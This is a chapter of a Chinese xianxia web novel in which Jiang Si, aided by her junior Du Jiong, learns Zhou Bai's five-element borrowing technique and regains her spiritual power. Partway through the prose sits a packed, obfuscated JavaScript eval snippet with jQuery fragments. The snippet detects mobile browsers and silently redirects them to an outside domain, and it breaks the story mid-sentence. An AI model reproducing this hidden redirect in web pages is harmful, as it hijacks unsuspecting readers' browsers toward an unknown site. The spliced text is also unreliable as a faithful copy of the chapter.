18. chap18
作品:《囚师弟》 江汜垂眸瞥了一眼杜坰手臂上的伤痕,默不作声地握住了杜坰的手,手臂用力,轻轻一带,杜坰就上了树,坐到了她的身旁。
师弟还是和从前一样,身无重力,轻飘飘的,一阵风就能掀飞。
人食食为气,修士大约以灵为气、为精为神。长恨天灵力稀缺,那里不适合修炼,也不适合人生长。
但她对九宗大陆的一切了解甚少,过去只会一头扎进修炼中,日日夜夜都关注她的离火,她的剑法有没有精进。偶尔一点闲暇的时间,也只是去打探他们喜欢什么,需要什么,正好下山历练,给他们带回来。
她不知道朱雀山外其余八大宗的关系如何,对各宗各派所修功法了解也不全面。被困长恨天的日日夜夜里,她都在想一个问题——以后要去哪。
师弟去哪,她又该去哪。
她回不了朱雀山,她也不想回朱雀山。九宗还有直符、腾蛇修火,她原本想自己可以隐姓埋名,去直符或者腾蛇。
但现在不行了,她恐怕哪里都去不了。在哪里都是罪人的存在。而她本人甚至不知罪从何起,罪从何来。
倘若她的长明灯还完整无缺的摆在宋泠的寝殿,那她无论如何都要毁去。她不想被人窥见此后的一切,也不想怀揣着与朱雀山有关的东西,往前走。
有的东西,早该丢下了。但她却被百年前,凌萚那一字“还”困住。还吗,那她就去还。
她不是莽夫,她自然知晓,如今的她碰上他们其中任何一人,都只会是死局,只会重蹈覆辙。
但这件事她一定要做。
“师弟,你怎么离开朱雀山的。”
江汜没有问为什么,跛脚娘不让她问为什么。跛脚娘说,有些人和事藏匿着的“为什么”,往往不受人掌控。当她执意要一个答案的时候,就会注定会一个答案,奔走一生。
倘若不确定自己能否承受得起一个答案的重量,那便不问。所以她从没问过跛脚娘究竟是人是鬼。
师弟微微偏头,他疲惫的打了个哈欠,揉了揉眼睛:“到焰翎峰,往下一跳,就离开了。”
“师姐,你不是想问这个吧。”杜坰朦胧了一层水雾的右眼望过来,看穿江汜的心思,“师姐,我要跟你一起去。”
“我知道师姐天资聪颖,我这点破除禁制的小手段,肯定一学就会。”杜坰低头攥着江汜的衣摆,在手腕上绕了绕,“所以我不会教给师姐的。”
“师姐,你要带我一起去。”
为什么三个字绕在江汜的唇边,她就要脱口而出,却仍然抿着唇,把字咬回去。
“死了怎么办。”江汜身子往后倾斜一点,双手撑着树干,仰着天上的残月,“这是我要做的事,没必要带上你们一起。”
杜坰不为所动,他把江汜的衣摆缠绕在手腕上,绕至手心,攥紧了些。
“跟着师姐也是我的事。”杜坰不紧不慢地道。
江汜余光瞥向他,越发觉得看不透杜坰。明明从前在朱雀山的时候,一碰到杜坰就能猜到他想说什么。
是因为现在说的话越来越多了吗?杜坰以前只会叫她一声师姐,然后心满意足的离去。
正感叹着,身后一声哭天喊地的吼声响起,周白衣衫都没穿好,就三步并一步跑了出来。
“你们两个——!”周白大吼一声,面红耳赤地伸出手指指着他们俩,“我就知道你们两个狼狈为奸的师姐弟,三更半夜跑出来就是想把我丢下!”
周白吭哧吭哧地爬上来,喘了一口气,继续突突:“我们还是不是生死与共的难兄难姐了?你们干嘛老是想把我丢下?”
杜坰:“听说太常的都很讨厌朱雀。”
“我不讨厌啊!”周白欲哭无泪,“那是蒙长老,关我什么事?”
“噢。”杜坰点头。
周白忽的反应过来,站在树下指着杜坰:“说什么太常朱雀呢?!我又不是太常的,你俩也已经不是朱雀的了!”
杜坰嗯嗯两声点头:“是啊。”
周白:“……你俩就是想扔下我!”
江汜跃下树干,站在周白身前:“可能会死人。”
周白:“你不是说有把握吗……?”
江汜点头,目带沉吟:“……半死不活,能接受吗?”
周白气笑了:“太常讨厌你们朱雀,真不是空穴来风,夸大其词!”
但他立刻变了神色:“我帮你。江汜,如果……如果有一天我也,也要……”
“你想杀谁,我就杀谁。”江汜打断他的话,直接应下。
周白:“好!”
“我一路过来都挺不安的,思来想去,别等明日了,今晚我就教你。”
“至于你学不学得了,学不学得会,就看你自己了。”
“五行相借,说难倒也简单,但要说简单,每个人都会难在舍去自我灵根的那一步。”周白盘腿坐下,示意江汜也坐下来。
“但如今你灵根损毁,空灵之界与丹种倒是存在,虽然不能用,但该不如说,正是个修五行相借的好苗子?你都不用费心费力的舍去灵根的本我了。”周白伸手,点在江汜的肩侧。
“嗯……经脉也有损毁,”周白眉头皱起,他有心抬眼睨江汜一眼,但叹气一声又算了,“真不知道你怎么想出来用那玩意修补经脉的。”
“该说你对自己太狠了吗?”周白的灵力探入江汜体内,犹豫了又犹豫还是没忍住,“你师弟也是,怎么都不拦着你一点。”
坐在树上的师弟悻悻地摸了摸鼻尖,他想他也好不了哪去。要是周白也过来给他瞧一两眼,说不定会连夜扛着包袱远走高飞。
远离他们两个怪人。
周白收手,看向江汜:“你的经脉能充纳灵力吗?”
江汜摇头。
“散去修补经脉的那些鬼玩意,你敢吗?”周白又道,“我知道你能用离火,多半也是依靠那些鬼东西,但你想要我的五行相借,只能脱离它。”
朱雀离火和太常五行相借相比,分不清谁更高一点。只是常理来论,一般人都不会舍去用惯手了的东西,而去尝试一个新的东西。
但江汜却毫不犹豫闭眼,逆转断诀,散去黑金的怨气。
苦涩的血腥涌上喉间,江汜垂眼往旁吐了一口,她睁眼看向周白,眸子里是不容置疑的坚韧。
“然后呢。”
周白被江汜的果断震住,他很快调息运气,渡入江汜体内。
“经脉受损,灵力无法畅行,但不代表,你无法篡取灵力。”
“太常五行相借,说是借,其实也沾了夺这一字。”
“空灵之界可以说是修士存放灵力的地方,你经脉有损,但灵界还能用。”
“世间灵力都有喜恶,譬如灵草仙药,并不是每一株都能长势格外的好,这就是灵力的喜恶,灵力会靠近它喜欢的东西,远离厌恶的东西。”
“正如长恨天灵力稀薄,没有灵力愿意去那里。”
“这样说,听起来就像灵力有自我意识一般,但事实上,还真说不定呢?”周白念念有词,“这是我的灵力,和你们别宗弟子的灵力不太一样,你可以感受一下。”
江汜阖目,沉入神识去瞧在破损经脉中游走的灵力。
人分五行灵根,大多情况下,灵力的属性模样都会倾向于本体的灵根。如江汜为火灵根,体内的灵力就会呈现出如火般躁动、活跃且带着一点橙黄或是朱红的颜色。
水灵根便会呈现出柔和、静美,清透偏水青的颜色。
但周白的灵力没有丝毫的特点,没有个性,没有色彩,如同空气令人难以辨别。
但紧接着,周白手指一点,划出一道火光之时,江汜便看见周白体内的灵力也变成了橙红的颜色,活跃的在周白的体内游走。
“坎水。”
橙红的灵力一下被清凉的水冲刷倏尔消失不见,取而代之的是水青的颜色。
周白收手,看向江汜:“你能明白一点了吗?”
江汜没有回答,她闭眼冥想中。倒是杜坰冷冷地泼来一瓢凉水:“周师兄,你以后千万别当执教长老。”
周白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033775|178141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面上一红:“我才不想当!”
“没,没办法啊,我在太常的时候也不是什么天赋卓越,天资聪颖的弟子。”周白声若蚊呐,“太常教的那一套,我根本就听不懂,我这是……”
“按照自己能理解的方法来的。”
杜坰点头:“怪不得,讲得如此有趣。”
周白举起了拳头:“你这是夸我还是讽刺我呢?”
两人一来一回地呛嘴,身旁的江汜周身遽然升起一团灼热的焰火,把两人吓了一跳。
周白抬手挡火,下意识地往后滚了一圈,杜坰身形不稳,一下从树上跃了下来。
“师姐……?”
火光消散,江汜盘腿坐在火势燎烧的中央,发尾被火势灼烧到,散落一点灰烬。
“没事,没控制好。”江汜动了动手腕,看向一脸惊愕的周白,想了想肯定道,“你讲得很厉害,浅显易懂。”
周白呵呵干笑两声,心中呐喊——长老,这里有怪物!
哪有人听个一知半解,就直接入道了?江汜是怪物来的吧?!
“你明白就好,明白就好。”周白挠着头,拍着后背,一副受到打击的模样,佝偻着身子往下走,“我已经没有什么可以教你的了。”
“我,我回去歇息了。”
江汜应了一声好,真的没有挽留,惹得周白回头,目含泪光的盯了她许久。
“还有事?”
周白哽咽着嗓子:“没有!”
说完他飞快地跑了回去,留下江汜和杜坰两人。
“师弟。”江汜攥了攥左手手心,她抬头还没开口,师弟就已经了然地在她后方一点盘腿坐下。
“师姐,我为你护法。”
“嗯。”
*
一夜未歇,江汜盘腿迎着月光打坐冥想,如同当年问灵引灵入体,她一次次地叩问身旁的灵力,一次又一次地引神识出体,面向广阔大地,去聆听,去看,去感受世间的灵力。
晨光笼罩万物的前夕,她聆听着每一滴露水的凝聚,虫鸣嗡嗡扑向猎物时一瞬的静止,以及土壤之下,根系迸发时带来的一小片震动。
灵气存在于万千生物之中,人的肉眼无法捕捉。唯有将自己想象成世间万物中的一点时,唯有洗涤掉身上的浊气,与这充斥的灵力仿若融为一体时,人才能感受到沁人心田的灵气。
这,便是凡人入道的第一阶段,问灵。
她并不觉得周白的说法有问题,在长恨天这样灵力稀缺的地方,她本就是这样修炼的。
她一直觉得灵力有喜恶,有意识。灵力不喜欢她身上的怨气,那她就一遍又一遍地驱除残留的怨气,直到灵力躲避逃窜,再也找不到比她更好的所在之地。
经脉无法游走灵力,那就将灵力引入空灵之界,直到她将更多的灵力哄骗进来,直到空灵之界再也塞不进丝毫的灵力,她才睁眼,停止篡取灵力。
未经洗涤的灵力,在她空灵之界推挤着,意识到这具躯体体内的残缺,它们不安地冲撞起来,引得江汜额角抽了抽。
好疼。
江汜抿嘴,但也正因为灵力的充盈,江汜才能察觉到,空灵之界不但没有受损,还产生了一点轻微的异变,丹种在灵力闯入的瞬间,就从土壤里钻出,如月亮一般挂在正中间。
但她的丹种没有根系,不知道是不是出什么问题了。
有丹种,证明她应该还是落丹修士,但丹种没有根系,江汜便不能确定自己以后若是靠着篡取灵力修炼,丹种依旧没有变化,要如何确定自己是何境界。
“师姐?”耳畔传来师弟清朗的嗓音。
江汜缓缓睁开眼,杜坰歪头托腮的模样一点点在她的眼底浮现。
“你有灵力了。”师弟笑起来,身上披了一层金色的辉光,一夜未打理的头发透着茫茫微光,看起来毛茸茸的。
江汜没忍住伸出手摸了摸师弟翘起来的发顶,唇角也勾起一点温和的笑意,如见春光,见朝日。
“嗯。”
“师弟,我有灵力了。”